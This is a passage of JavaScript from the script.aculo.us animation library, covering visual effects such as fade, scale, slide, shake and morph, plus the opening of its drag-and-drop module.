    this.event('beforeStart');
    if (!this.options.sync)
      Effect.Queues.get(Object.isString(this.options.queue) ?
        'global' : this.options.queue.scope).add(this);
  },
  loop: function(timePos) {
    if (timePos >= this.startOn) {
      if (timePos >= this.finishOn) {
        this.render(1.0);
        this.cancel();
        this.event('beforeFinish');
        if (this.finish) this.finish();
        this.event('afterFinish');
        return;
      }
      var pos   = (timePos - this.startOn) / this.totalTime,
          frame = (pos * this.totalFrames).round();
      if (frame > this.currentFrame) {
        this.render(pos);
        this.currentFrame = frame;
      }
    }
  },
  cancel: function() {
    if (!this.options.sync)
      Effect.Queues.get(Object.isString(this.options.queue) ?
        'global' : this.options.queue.scope).remove(this);
    this.state = 'finished';
  },
  event: function(eventName) {
    if (this.options[eventName + 'Internal']) this.options[eventName + 'Internal'](this);
    if (this.options[eventName]) this.options[eventName](this);
  },
  inspect: function() {
    var data = $H();
    for(property in this)
      if (!Object.isFunction(this[property])) data.set(property, this[property]);
    return '#<Effect:' + data.inspect() + ',options:' + $H(this.options).inspect() + '>';
  }
});

Effect.Parallel = Class.create(Effect.Base, {
  initialize: function(effects) {
    this.effects = effects || [];
    this.start(arguments[1]);
  },
  update: function(position) {
    this.effects.invoke('render', position);
  },
  finish: function(position) {
    this.effects.each( function(effect) {
      effect.render(1.0);
      effect.cancel();
      effect.event('beforeFinish');
      if (effect.finish) effect.finish(position);
      effect.event('afterFinish');
    });
  }
});

Effect.Tween = Class.create(Effect.Base, {
  initialize: function(object, from, to) {
    object = Object.isString(object) ? $(object) : object;
    var args = $A(arguments), method = args.last(),
      options = args.length == 5 ? args[3] : null;
    this.method = Object.isFunction(method) ? method.bind(object) :
      Object.isFunction(object[method]) ? object[method].bind(object) :
      function(value) { object[method] = value };
    this.start(Object.extend({ from: from, to: to }, options || { }));
  },
  update: function(position) {
    this.method(position);
  }
});

Effect.Event = Class.create(Effect.Base, {
  initialize: function() {
    this.start(Object.extend({ duration: 0 }, arguments[0] || { }));
  },
  update: Prototype.emptyFunction
});

Effect.Opacity = Class.create(Effect.Base, {
  initialize: function(element) {
    this.element = $(element);
    if (!this.element) throw(Effect._elementDoesNotExistError);
    // make this work on IE on elements without 'layout'
    if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout))
      this.element.setStyle({zoom: 1});
    var options = Object.extend({
      from: this.element.getOpacity() || 0.0,
      to:   1.0
    }, arguments[1] || { });
    this.start(options);
  },
  update: function(position) {
    this.element.setOpacity(position);
  }
});

Effect.Move = Class.create(Effect.Base, {
  initialize: function(element) {
    this.element = $(element);
    if (!this.element) throw(Effect._elementDoesNotExistError);
    var options = Object.extend({
      x:    0,
      y:    0,
      mode: 'relative'
    }, arguments[1] || { });
    this.start(options);
  },
  setup: function() {
    this.element.makePositioned();
    this.originalLeft = parseFloat(this.element.getStyle('left') || '0');
    this.originalTop  = parseFloat(this.element.getStyle('top')  || '0');
    if (this.options.mode == 'absolute') {
      this.options.x = this.options.x - this.originalLeft;
      this.options.y = this.options.y - this.originalTop;
    }
  },
  update: function(position) {
    this.element.setStyle({
      left: (this.options.x  * position + this.originalLeft).round() + 'px',
      top:  (this.options.y  * position + this.originalTop).round()  + 'px'
    });
  }
});

// for backwards compatibility
Effect.MoveBy = function(element, toTop, toLeft) {
  return new Effect.Move(element,
    Object.extend({ x: toLeft, y: toTop }, arguments[3] || { }));
};

Effect.Scale = Class.create(Effect.Base, {
  initialize: function(element, percent) {
    this.element = $(element);
    if (!this.element) throw(Effect._elementDoesNotExistError);
    var options = Object.extend({
      scaleX: true,
      scaleY: true,
      scaleContent: true,
      scaleFromCenter: false,
      scaleMode: 'box',        // 'box' or 'contents' or { } with provided values
      scaleFrom: 100.0,
      scaleTo:   percent
    }, arguments[2] || { });
    this.start(options);
  },
  setup: function() {
    this.restoreAfterFinish = this.options.restoreAfterFinish || false;
    this.elementPositioning = this.element.getStyle('position');

    this.originalStyle = { };
    ['top','left','width','height','fontSize'].each( function(k) {
      this.originalStyle[k] = this.element.style[k];
    }.bind(this));

    this.originalTop  = this.element.offsetTop;
    this.originalLeft = this.element.offsetLeft;

    var fontSize = this.element.getStyle('font-size') || '100%';
    ['em','px','%','pt'].each( function(fontSizeType) {
      if (fontSize.indexOf(fontSizeType)>0) {
        this.fontSize     = parseFloat(fontSize);
        this.fontSizeType = fontSizeType;
      }
    }.bind(this));

    this.factor = (this.options.scaleTo - this.options.scaleFrom)/100;

    this.dims = null;
    if (this.options.scaleMode=='box')
      this.dims = [this.element.offsetHeight, this.element.offsetWidth];
    if (/^content/.test(this.options.scaleMode))
      this.dims = [this.element.scrollHeight, this.element.scrollWidth];
    if (!this.dims)
      this.dims = [this.options.scaleMode.originalHeight,
                   this.options.scaleMode.originalWidth];
  },
  update: function(position) {
    var currentScale = (this.options.scaleFrom/100.0) + (this.factor * position);
    if (this.options.scaleContent && this.fontSize)
      this.element.setStyle({fontSize: this.fontSize * currentScale + this.fontSizeType });
    this.setDimensions(this.dims[0] * currentScale, this.dims[1] * currentScale);
  },
  finish: function(position) {
    if (this.restoreAfterFinish) this.element.setStyle(this.originalStyle);
  },
  setDimensions: function(height, width) {
    var d = { };
    if (this.options.scaleX) d.width = width.round() + 'px';
    if (this.options.scaleY) d.height = height.round() + 'px';
    if (this.options.scaleFromCenter) {
      var topd  = (height - this.dims[0])/2;
      var leftd = (width  - this.dims[1])/2;
      if (this.elementPositioning == 'absolute') {
        if (this.options.scaleY) d.top = this.originalTop-topd + 'px';
        if (this.options.scaleX) d.left = this.originalLeft-leftd + 'px';
      } else {
        if (this.options.scaleY) d.top = -topd + 'px';
        if (this.options.scaleX) d.left = -leftd + 'px';
      }
    }
    this.element.setStyle(d);
  }
});

Effect.Highlight = Class.create(Effect.Base, {
  initialize: function(element) {
    this.element = $(element);
    if (!this.element) throw(Effect._elementDoesNotExistError);
    var options = Object.extend({ startcolor: '#ffff99' }, arguments[1] || { });
    this.start(options);
  },
  setup: function() {
    // Prevent executing on elements not in the layout flow
    if (this.element.getStyle('display')=='none') { this.cancel(); return; }
    // Disable background image during the effect
    this.oldStyle = { };
    if (!this.options.keepBackgroundImage) {
      this.oldStyle.backgroundImage = this.element.getStyle('background-image');
      this.element.setStyle({backgroundImage: 'none'});
    }
    if (!this.options.endcolor)
      this.options.endcolor = this.element.getStyle('background-color').parseColor('#ffffff');
    if (!this.options.restorecolor)
      this.options.restorecolor = this.element.getStyle('background-color');
    // init color calculations
    this._base  = $R(0,2).map(function(i){ return parseInt(this.options.startcolor.slice(i*2+1,i*2+3),16) }.bind(this));
    this._delta = $R(0,2).map(function(i){ return parseInt(this.options.endcolor.slice(i*2+1,i*2+3),16)-this._base[i] }.bind(this));
  },
  update: function(position) {
    this.element.setStyle({backgroundColor: $R(0,2).inject('#',function(m,v,i){
      return m+((this._base[i]+(this._delta[i]*position)).round().toColorPart()); }.bind(this)) });
  },
  finish: function() {
    this.element.setStyle(Object.extend(this.oldStyle, {
      backgroundColor: this.options.restorecolor
    }));
  }
});

Effect.ScrollTo = function(element) {
  var options = arguments[1] || { },
  scrollOffsets = document.viewport.getScrollOffsets(),
  elementOffsets = $(element).cumulativeOffset();

  if (options.offset) elementOffsets[1] += options.offset;

  return new Effect.Tween(null,
    scrollOffsets.top,
    elementOffsets[1],
    options,
    function(p){ scrollTo(scrollOffsets.left, p.round()); }
  );
};

/* ------------- combination effects ------------- */

Effect.Fade = function(element) {
  element = $(element);
  var oldOpacity = element.getInlineOpacity();
  var options = Object.extend({
    from: element.getOpacity() || 1.0,
    to:   0.0,
    afterFinishInternal: function(effect) {
      if (effect.options.to!=0) return;
      effect.element.hide().setStyle({opacity: oldOpacity});
    }
  }, arguments[1] || { });
  return new Effect.Opacity(element,options);
};

Effect.Appear = function(element) {
  element = $(element);
  var options = Object.extend({
  from: (element.getStyle('display') == 'none' ? 0.0 : element.getOpacity() || 0.0),
  to:   1.0,
  // force Safari to render floated elements properly
  afterFinishInternal: function(effect) {
    effect.element.forceRerendering();
  },
  beforeSetup: function(effect) {
    effect.element.setOpacity(effect.options.from).show();
  }}, arguments[1] || { });
  return new Effect.Opacity(element,options);
};

Effect.Puff = function(element) {
  element = $(element);
  var oldStyle = {
    opacity: element.getInlineOpacity(),
    position: element.getStyle('position'),
    top:  element.style.top,
    left: element.style.left,
    width: element.style.width,
    height: element.style.height
  };
  return new Effect.Parallel(
   [ new Effect.Scale(element, 200,
      { sync: true, scaleFromCenter: true, scaleContent: true, restoreAfterFinish: true }),
     new Effect.Opacity(element, { sync: true, to: 0.0 } ) ],
     Object.extend({ duration: 1.0,
      beforeSetupInternal: function(effect) {
        Position.absolutize(effect.effects[0].element);
      },
      afterFinishInternal: function(effect) {
         effect.effects[0].element.hide().setStyle(oldStyle); }
     }, arguments[1] || { })
   );
};

Effect.BlindUp = function(element) {
  element = $(element);
  element.makeClipping();
  return new Effect.Scale(element, 0,
    Object.extend({ scaleContent: false,
      scaleX: false,
      restoreAfterFinish: true,
      afterFinishInternal: function(effect) {
        effect.element.hide().undoClipping();
      }
    }, arguments[1] || { })
  );
};

Effect.BlindDown = function(element) {
  element = $(element);
  var elementDimensions = element.getDimensions();
  return new Effect.Scale(element, 100, Object.extend({
    scaleContent: false,
    scaleX: false,
    scaleFrom: 0,
    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
    restoreAfterFinish: true,
    afterSetup: function(effect) {
      effect.element.makeClipping().setStyle({height: '0px'}).show();
    },
    afterFinishInternal: function(effect) {
      effect.element.undoClipping();
    }
  }, arguments[1] || { }));
};

Effect.SwitchOff = function(element) {
  element = $(element);
  var oldOpacity = element.getInlineOpacity();
  return new Effect.Appear(element, Object.extend({
    duration: 0.4,
    from: 0,
    transition: Effect.Transitions.flicker,
    afterFinishInternal: function(effect) {
      new Effect.Scale(effect.element, 1, {
        duration: 0.3, scaleFromCenter: true,
        scaleX: false, scaleContent: false, restoreAfterFinish: true,
        beforeSetup: function(effect) {
          effect.element.makePositioned().makeClipping();
        },
        afterFinishInternal: function(effect) {
          effect.element.hide().undoClipping().undoPositioned().setStyle({opacity: oldOpacity});
        }
      });
    }
  }, arguments[1] || { }));
};

Effect.DropOut = function(element) {
  element = $(element);
  var oldStyle = {
    top: element.getStyle('top'),
    left: element.getStyle('left'),
    opacity: element.getInlineOpacity() };
  return new Effect.Parallel(
    [ new Effect.Move(element, {x: 0, y: 100, sync: true }),
      new Effect.Opacity(element, { sync: true, to: 0.0 }) ],
    Object.extend(
      { duration: 0.5,
        beforeSetup: function(effect) {
          effect.effects[0].element.makePositioned();
        },
        afterFinishInternal: function(effect) {
          effect.effects[0].element.hide().undoPositioned().setStyle(oldStyle);
        }
      }, arguments[1] || { }));
};

Effect.Shake = function(element) {
  element = $(element);
  var options = Object.extend({
    distance: 20,
    duration: 0.5
  }, arguments[1] || {});
  var distance = parseFloat(options.distance);
  var split = parseFloat(options.duration) / 10.0;
  var oldStyle = {
    top: element.getStyle('top'),
    left: element.getStyle('left') };
    return new Effect.Move(element,
      { x:  distance, y: 0, duration: split, afterFinishInternal: function(effect) {
    new Effect.Move(effect.element,
      { x: -distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
    new Effect.Move(effect.element,
      { x:  distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
    new Effect.Move(effect.element,
      { x: -distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
    new Effect.Move(effect.element,
      { x:  distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
    new Effect.Move(effect.element,
      { x: -distance, y: 0, duration: split, afterFinishInternal: function(effect) {
        effect.element.undoPositioned().setStyle(oldStyle);
  }}); }}); }}); }}); }}); }});
};

Effect.SlideDown = function(element) {
  element = $(element).cleanWhitespace();
  // SlideDown need to have the content of the element wrapped in a container element with fixed height!
  var oldInnerBottom = element.down().getStyle('bottom');
  var elementDimensions = element.getDimensions();
  return new Effect.Scale(element, 100, Object.extend({
    scaleContent: false,
    scaleX: false,
    scaleFrom: window.opera ? 0 : 1,
    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
    restoreAfterFinish: true,
    afterSetup: function(effect) {
      effect.element.makePositioned();
      effect.element.down().makePositioned();
      if (window.opera) effect.element.setStyle({top: ''});
      effect.element.makeClipping().setStyle({height: '0px'}).show();
    },
    afterUpdateInternal: function(effect) {
      effect.element.down().setStyle({bottom:
        (effect.dims[0] - effect.element.clientHeight) + 'px' });
    },
    afterFinishInternal: function(effect) {
      effect.element.undoClipping().undoPositioned();
      effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom}); }
    }, arguments[1] || { })
  );
};

Effect.SlideUp = function(element) {
  element = $(element).cleanWhitespace();
  var oldInnerBottom = element.down().getStyle('bottom');
  var elementDimensions = element.getDimensions();
  return new Effect.Scale(element, window.opera ? 0 : 1,
   Object.extend({ scaleContent: false,
    scaleX: false,
    scaleMode: 'box',
    scaleFrom: 100,
    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
    restoreAfterFinish: true,
    afterSetup: function(effect) {
      effect.element.makePositioned();
      effect.element.down().makePositioned();
      if (window.opera) effect.element.setStyle({top: ''});
      effect.element.makeClipping().show();
    },
    afterUpdateInternal: function(effect) {
      effect.element.down().setStyle({bottom:
        (effect.dims[0] - effect.element.clientHeight) + 'px' });
    },
    afterFinishInternal: function(effect) {
      effect.element.hide().undoClipping().undoPositioned();
      effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom});
    }
   }, arguments[1] || { })
  );
};

// Bug in opera makes the TD containing this element expand for a instance after finish
Effect.Squish = function(element) {
  return new Effect.Scale(element, window.opera ? 1 : 0, {
    restoreAfterFinish: true,
    beforeSetup: function(effect) {
      effect.element.makeClipping();
    },
    afterFinishInternal: function(effect) {
      effect.element.hide().undoClipping();
    }
  });
};

Effect.Grow = function(element) {
  element = $(element);
  var options = Object.extend({
    direction: 'center',
    moveTransition: Effect.Transitions.sinoidal,
    scaleTransition: Effect.Transitions.sinoidal,
    opacityTransition: Effect.Transitions.full
  }, arguments[1] || { });
  var oldStyle = {
    top: element.style.top,
    left: element.style.left,
    height: element.style.height,
    width: element.style.width,
    opacity: element.getInlineOpacity() };

  var dims = element.getDimensions();
  var initialMoveX, initialMoveY;
  var moveX, moveY;

  switch (options.direction) {
    case 'top-left':
      initialMoveX = initialMoveY = moveX = moveY = 0;
      break;
    case 'top-right':
      initialMoveX = dims.width;
      initialMoveY = moveY = 0;
      moveX = -dims.width;
      break;
    case 'bottom-left':
      initialMoveX = moveX = 0;
      initialMoveY = dims.height;
      moveY = -dims.height;
      break;
    case 'bottom-right':
      initialMoveX = dims.width;
      initialMoveY = dims.height;
      moveX = -dims.width;
      moveY = -dims.height;
      break;
    case 'center':
      initialMoveX = dims.width / 2;
      initialMoveY = dims.height / 2;
      moveX = -dims.width / 2;
      moveY = -dims.height / 2;
      break;
  }

  return new Effect.Move(element, {
    x: initialMoveX,
    y: initialMoveY,
    duration: 0.01,
    beforeSetup: function(effect) {
      effect.element.hide().makeClipping().makePositioned();
    },
    afterFinishInternal: function(effect) {
      new Effect.Parallel(
        [ new Effect.Opacity(effect.element, { sync: true, to: 1.0, from: 0.0, transition: options.opacityTransition }),
          new Effect.Move(effect.element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }),
          new Effect.Scale(effect.element, 100, {
            scaleMode: { originalHeight: dims.height, originalWidth: dims.width },
            sync: true, scaleFrom: window.opera ? 1 : 0, transition: options.scaleTransition, restoreAfterFinish: true})
        ], Object.extend({
             beforeSetup: function(effect) {
               effect.effects[0].element.setStyle({height: '0px'}).show();
             },
             afterFinishInternal: function(effect) {
               effect.effects[0].element.undoClipping().undoPositioned().setStyle(oldStyle);
             }
           }, options)
      );
    }
  });
};

Effect.Shrink = function(element) {
  element = $(element);
  var options = Object.extend({
    direction: 'center',
    moveTransition: Effect.Transitions.sinoidal,
    scaleTransition: Effect.Transitions.sinoidal,
    opacityTransition: Effect.Transitions.none
  }, arguments[1] || { });
  var oldStyle = {
    top: element.style.top,
    left: element.style.left,
    height: element.style.height,
    width: element.style.width,
    opacity: element.getInlineOpacity() };

  var dims = element.getDimensions();
  var moveX, moveY;

  switch (options.direction) {
    case 'top-left':
      moveX = moveY = 0;
      break;
    case 'top-right':
      moveX = dims.width;
      moveY = 0;
      break;
    case 'bottom-left':
      moveX = 0;
      moveY = dims.height;
      break;
    case 'bottom-right':
      moveX = dims.width;
      moveY = dims.height;
      break;
    case 'center':
      moveX = dims.width / 2;
      moveY = dims.height / 2;
      break;
  }

  return new Effect.Parallel(
    [ new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0, transition: options.opacityTransition }),
      new Effect.Scale(element, window.opera ? 1 : 0, { sync: true, transition: options.scaleTransition, restoreAfterFinish: true}),
      new Effect.Move(element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition })
    ], Object.extend({
         beforeStartInternal: function(effect) {
           effect.effects[0].element.makePositioned().makeClipping();
         },
         afterFinishInternal: function(effect) {
           effect.effects[0].element.hide().undoClipping().undoPositioned().setStyle(oldStyle); }
       }, options)
  );
};

Effect.Pulsate = function(element) {
  element = $(element);
  var options    = arguments[1] || { },
    oldOpacity = element.getInlineOpacity(),
    transition = options.transition || Effect.Transitions.linear,
    reverser   = function(pos){
      return 1 - transition((-Math.cos((pos*(options.pulses||5)*2)*Math.PI)/2) + .5);
    };

  return new Effect.Opacity(element,
    Object.extend(Object.extend({  duration: 2.0, from: 0,
      afterFinishInternal: function(effect) { effect.element.setStyle({opacity: oldOpacity}); }
    }, options), {transition: reverser}));
};

Effect.Fold = function(element) {
  element = $(element);
  var oldStyle = {
    top: element.style.top,
    left: element.style.left,
    width: element.style.width,
    height: element.style.height };
  element.makeClipping();
  return new Effect.Scale(element, 5, Object.extend({
    scaleContent: false,
    scaleX: false,
    afterFinishInternal: function(effect) {
    new Effect.Scale(element, 1, {
      scaleContent: false,
      scaleY: false,
      afterFinishInternal: function(effect) {
        effect.element.hide().undoClipping().setStyle(oldStyle);
      } });
  }}, arguments[1] || { }));
};

Effect.Morph = Class.create(Effect.Base, {
  initialize: function(element) {
    this.element = $(element);
    if (!this.element) throw(Effect._elementDoesNotExistError);
    var options = Object.extend({
      style: { }
    }, arguments[1] || { });

    if (!Object.isString(options.style)) this.style = $H(options.style);
    else {
      if (options.style.include(':'))
        this.style = options.style.parseStyle();
      else {
        this.element.addClassName(options.style);
        this.style = $H(this.element.getStyles());
        this.element.removeClassName(options.style);
        var css = this.element.getStyles();
        this.style = this.style.reject(function(style) {
          return style.value == css[style.key];
        });
        options.afterFinishInternal = function(effect) {
          effect.element.addClassName(effect.options.style);
          effect.transforms.each(function(transform) {
            effect.element.style[transform.style] = '';
          });
        };
      }
    }
    this.start(options);
  },

  setup: function(){
    function parseColor(color){
      if (!color || ['rgba(0, 0, 0, 0)','transparent'].include(color)) color = '#ffffff';
      color = color.parseColor();
      return $R(0,2).map(function(i){
        return parseInt( color.slice(i*2+1,i*2+3), 16 );
      });
    }
    this.transforms = this.style.map(function(pair){
      var property = pair[0], value = pair[1], unit = null;

      if (value.parseColor('#zzzzzz') != '#zzzzzz') {
        value = value.parseColor();
        unit  = 'color';
      } else if (property == 'opacity') {
        value = parseFloat(value);
        if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout))
          this.element.setStyle({zoom: 1});
      } else if (Element.CSS_LENGTH.test(value)) {
          var components = value.match(/^([\+\-]?[0-9\.]+)(.*)$/);
          value = parseFloat(components[1]);
          unit = (components.length == 3) ? components[2] : null;
      }

      var originalValue = this.element.getStyle(property);
      return {
        style: property.camelize(),
        originalValue: unit=='color' ? parseColor(originalValue) : parseFloat(originalValue || 0),
        targetValue: unit=='color' ? parseColor(value) : value,
        unit: unit
      };
    }.bind(this)).reject(function(transform){
      return (
        (transform.originalValue == transform.targetValue) ||
        (
          transform.unit != 'color' &&
          (isNaN(transform.originalValue) || isNaN(transform.targetValue))
        )
      );
    });
  },
  update: function(position) {
    var style = { }, transform, i = this.transforms.length;
    while(i--)
      style[(transform = this.transforms[i]).style] =
        transform.unit=='color' ? '#'+
          (Math.round(transform.originalValue[0]+
            (transform.targetValue[0]-transform.originalValue[0])*position)).toColorPart() +
          (Math.round(transform.originalValue[1]+
            (transform.targetValue[1]-transform.originalValue[1])*position)).toColorPart() +
          (Math.round(transform.originalValue[2]+
            (transform.targetValue[2]-transform.originalValue[2])*position)).toColorPart() :
        (transform.originalValue +
          (transform.targetValue - transform.originalValue) * position).toFixed(3) +
            (transform.unit === null ? '' : transform.unit);
    this.element.setStyle(style, true);
  }
});

Effect.Transform = Class.create({
  initialize: function(tracks){
    this.tracks  = [];
    this.options = arguments[1] || { };
    this.addTracks(tracks);
  },
  addTracks: function(tracks){
    tracks.each(function(track){
      track = $H(track);
      var data = track.values().first();
      this.tracks.push($H({
        ids:     track.keys().first(),
        effect:  Effect.Morph,
        options: { style: data }
      }));
    }.bind(this));
    return this;
  },
  play: function(){
    return new Effect.Parallel(
      this.tracks.map(function(track){
        var ids = track.get('ids'), effect = track.get('effect'), options = track.get('options');
        var elements = [$(ids) || $$(ids)].flatten();
        return elements.map(function(e){ return new effect(e, Object.extend({ sync:true }, options)) });
      }).flatten(),
      this.options
    );
  }
});

Element.CSS_PROPERTIES = $w(
  'backgroundColor backgroundPosition borderBottomColor borderBottomStyle ' +
  'borderBottomWidth borderLeftColor borderLeftStyle borderLeftWidth ' +
  'borderRightColor borderRightStyle borderRightWidth borderSpacing ' +
  'borderTopColor borderTopStyle borderTopWidth bottom clip color ' +
  'fontSize fontWeight height left letterSpacing lineHeight ' +
  'marginBottom marginLeft marginRight marginTop markerOffset maxHeight '+
  'maxWidth minHeight minWidth opacity outlineColor outlineOffset ' +
  'outlineWidth paddingBottom paddingLeft paddingRight paddingTop ' +
  'right textIndent top width wordSpacing zIndex');

Element.CSS_LENGTH = /^(([\+\-]?[0-9\.]+)(em|ex|px|in|cm|mm|pt|pc|\%))|0$/;

String.__parseStyleElement = document.createElement('div');
String.prototype.parseStyle = function(){
  var style, styleRules = $H();
  if (Prototype.Browser.WebKit)
    style = new Element('div',{style:this}).style;
  else {
    String.__parseStyleElement.innerHTML = '<div style="' + this + '"></div>';
    style = String.__parseStyleElement.childNodes[0].style;
  }

  Element.CSS_PROPERTIES.each(function(property){
    if (style[property]) styleRules.set(property, style[property]);
  });

  if (Prototype.Browser.IE && this.include('opacity'))
    styleRules.set('opacity', this.match(/opacity:\s*((?:0|1)?(?:\.\d*)?)/)[1]);

  return styleRules;
};

if (document.defaultView && document.defaultView.getComputedStyle) {
  Element.getStyles = function(element) {
    var css = document.defaultView.getComputedStyle($(element), null);
    return Element.CSS_PROPERTIES.inject({ }, function(styles, property) {
      styles[property] = css[property];
      return styles;
    });
  };
} else {
  Element.getStyles = function(element) {
    element = $(element);
    var css = element.currentStyle, styles;
    styles = Element.CSS_PROPERTIES.inject({ }, function(results, property) {
      results[property] = css[property];
      return results;
    });
    if (!styles.opacity) styles.opacity = element.getOpacity();
    return styles;
  };
}

Effect.Methods = {
  morph: function(element, style) {
    element = $(element);
    new Effect.Morph(element, Object.extend({ style: style }, arguments[2] || { }));
    return element;
  },
  visualEffect: function(element, effect, options) {
    element = $(element);
    var s = effect.dasherize().camelize(), klass = s.charAt(0).toUpperCase() + s.substring(1);
    new Effect[klass](element, options);
    return element;
  },
  highlight: function(element, options) {
    element = $(element);
    new Effect.Highlight(element, options);
    return element;
  }
};

$w('fade appear grow shrink fold blindUp blindDown slideUp slideDown '+
  'pulsate shake puff squish switchOff dropOut').each(
  function(effect) {
    Effect.Methods[effect] = function(element, options){
      element = $(element);
      Effect[effect.charAt(0).toUpperCase() + effect.substring(1)](element, options);
      return element;
    };
  }
);

$w('getInlineOpacity forceRerendering setContentZoom collectTextNodes collectTextNodesIgnoreClass getStyles').each(
  function(f) { Effect.Methods[f] = Element[f]; }
);

Element.addMethods(Effect.Methods);



// script.aculo.us dragdrop.js v1.8.3, Thu Oct 08 11:23:33 +0200 2009

// Copyright (c) 2005-2009 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

if(Object.isUndefined(Effect))
  throw("dragdrop.js requires including script.aculo.us' effects.js library");

var Droppables = {
  drops: [],

  remove: function(element) {
    this.drops = this.drops.reject(function(d) { return d.element==$(element) });
  },

  add: function(element) {
    element = $(element);
    var options = Object.extend({
      greedy:     true,
      hoverclass: null,
      tree:       false
    }, arguments[1] || { });

    // cache containers
    if(options.containment) {
      options._containers = [];
      var containment = options.containment;
      if(Object.isArray(containment)) {
        containment.each( function(c) { options._containers.push($(c)) });
      } else {
        options._containers.push($(containment));
      }
    }

    if(options.accept) options.accept = [options.accept].flatten();

    Element.makePositioned(element); // fix IE
    options.element = element;

    this.drops.push(options);
  },

  findDeepestChild: function(drops) {
    deepest = drops[0];

    for (i = 1; i < drops.length; ++i)
      if (Element.isParent(drops[i].element, deepest.element))
        deepest = drops[i];

    return deepest;
  },

  isContained: function(element, drop) {
    var containmentNode;
    if(drop.tree) {
      containmentNode = element.treeNode;
    } else {
      containmentNode = element.parentNode;
    }
    return drop._containers.detect(function(c) { return containmentNode == c });
  },

  isAffected: function(point, element, drop) {
    return (
      (drop.element!=element) &&
      ((!drop._containers) ||
        this.isContained(element, drop)) &&
      ((!drop.accept) ||
        (Element.classNames(element).detect(
          function(v) { return drop.accept.include(v) } ) )) &&
      Position.within(drop.element, point[0], point[1]) );
  },

  deactivate: function(drop) {
    if(drop.hoverclass)
      Element.removeClassName(drop.element, drop.hoverclass);
    this.last_active = null;
  },

  activate: function(drop) {
    if(drop.hoverclass)
      Element.addClassName(drop.element, drop.hoverclass);
    this.last_active = drop;
  },

  show: function(point, element) {
    if(!this.drops.length) return;
    var drop, affected = [];

    this.drops.each( function(drop) {
      if(Droppables.isAffected(point, element, drop))
        affected.push(drop);
    });

    if(affected.length>0)
      drop = Droppables.findDeepestChild(affected);

    if(this.last_active && this.last_active != drop) this.deactivate(this.last_active);
    if (drop) {
      Position.within(drop.element, point[0], point[1]);
      if(drop.onHover)
        drop.onHover(element, drop.element, Position.overlap(drop.overlap, drop.element));

      if (drop != this.last_active) Droppables.activate(drop);
    }
  },

  fire: function(event, element) {
    if(!this.last_active) return;
    Position.prepare();

    if (this.isAffected([Event.pointerX(event), Event.pointerY(event)], element, this.last_active))
      if (this.last_active.onDrop) {
        this.last_active.onDrop(element, this.last_active.element, event);
        return true;
      }
  },

  reset: function() {
    if(this.last_active)
      this.deactivate(this.last_active);
  }
};

var Draggables = {
  drags: [],
  observers: [],

  register: function(draggable) {
    if(this.drags.length == 0) {
      this.eventMouseUp   = this.endDrag.bindAsEventListener(this);
      this.eventMouseMove = this.updateDrag.bindAsEventListener(this);
      this.eventKeypress  = this.keyPress.bindAsEventListener(this);

      Event.observe(document, "mouseup", this.eventMouseUp);
      Event.observe(document, "mousemove", this.eventMouseMove);
      Event.observe(document, "keypress", this.eventKeypress);
    }
    this.drags.push(draggable);
  },

  unregister: function(draggable) {
    this.drags = this.drags.reject(function(d) { return d==draggable });
    if(this.drags.length == 0) {
      Event.stopObserving(document, "mouseup", this.eventMouseUp);
      Event.stopObserving(document, "mousemove", this.eventMouseMove);
      Event.stopObserving(document, "keypress", this.eventKeypress);
    }
  },

  activate: function(draggable) {
    if(draggable.options.delay) {
      this._timeout = setTimeout(function() {
        Draggables._timeout = null;
        window.focus();
        Draggables.activeDraggable = draggable;
      }.bind(this), draggable.options.delay);
    } else {
      window.focus(); // allows keypress events if window isn't currently focused, fails for Safari
      this.activeDraggable = draggable;
    }
  },

  deactivate: function() {
    this.activeDraggable = null;
  },

  updateDrag: function(event) {
    if(!this.activeDraggable) return;
    var pointer = [Event.pointerX(event), Event.pointerY(event)];
    // Mozilla-based browsers fire successive mousemove events with
    // the same coordinates, prevent needless redrawing (moz bug?)
    if(this._lastPointer && (this._lastPointer.inspect() == pointer.inspect())) return;
    this._lastPointer = pointer;

    this.activeDraggable.updateDrag(event, pointer);
  },

  endDrag: function(event) {
    if(this._timeout) {
      clearTimeout(this._timeout);
      this._timeout = null;
    }
    if(!this.activeDraggable) return;
    this._lastPointer = null;
    this.activeDraggable.endDrag(event);
    this.activeDraggable = null;
  },

  keyPress: function(event) {
    if(this.activeDraggable)
      this.activeDraggable.keyPress(event);
  },

  addObserver: function(observer) {
    this.observers.push(observer);
    this._cacheObserverCallbacks();
  },

  removeObserver: function(element) {  // element instead of observer fixes mem leaks
    this.observers = this.observers.reject( function(o) { return o.element==element });
    this._cacheObserverCallbacks();
  },

  notify: function(eventName, draggable, event) {  // 'onStart', 'onEnd', 'onDrag'
    if(this[eventName+'Count'] > 0)
      this.observers.each( function(o) {
        if(o[eventName]) o[eventName](eventName, draggable, event);
      });
    if(draggable.options[eventName]) draggable.options[eventName](draggable, event);
  },

  _cacheObserverCallbacks: function() {
    ['onStart','onEnd','onDrag'].each( function(eventName) {
      Draggables[eventName+'Count'] = Draggables.observers.select(
        function(o) { return o[eventName]; }
      ).length;
    });
  }
};

/*--------------------------------------------------------------------------*/

var Draggable = Class.create({
  initialize: function(element) {
    var defaults = {
      handle: false,
      reverteffect: function(element, top_offset, left_offset) {
        var dur = Math.sqrt(Math.abs(top_offset^2)+Math.abs(left_offset^2))*0.02;
        new Effect.Move(element, { x: -left_offset, y: -top_offset, duration: dur,
          queue: {scope:'_draggable', position:'end'}
        });
      },
      endeffect: function(element) {
        var toOpacity = Object.isNumber(element._opacity) ? element._opacity : 1.0;
        new Effect.Opacity(element, {duration:0.2, from:0.7, to:toOpacity,
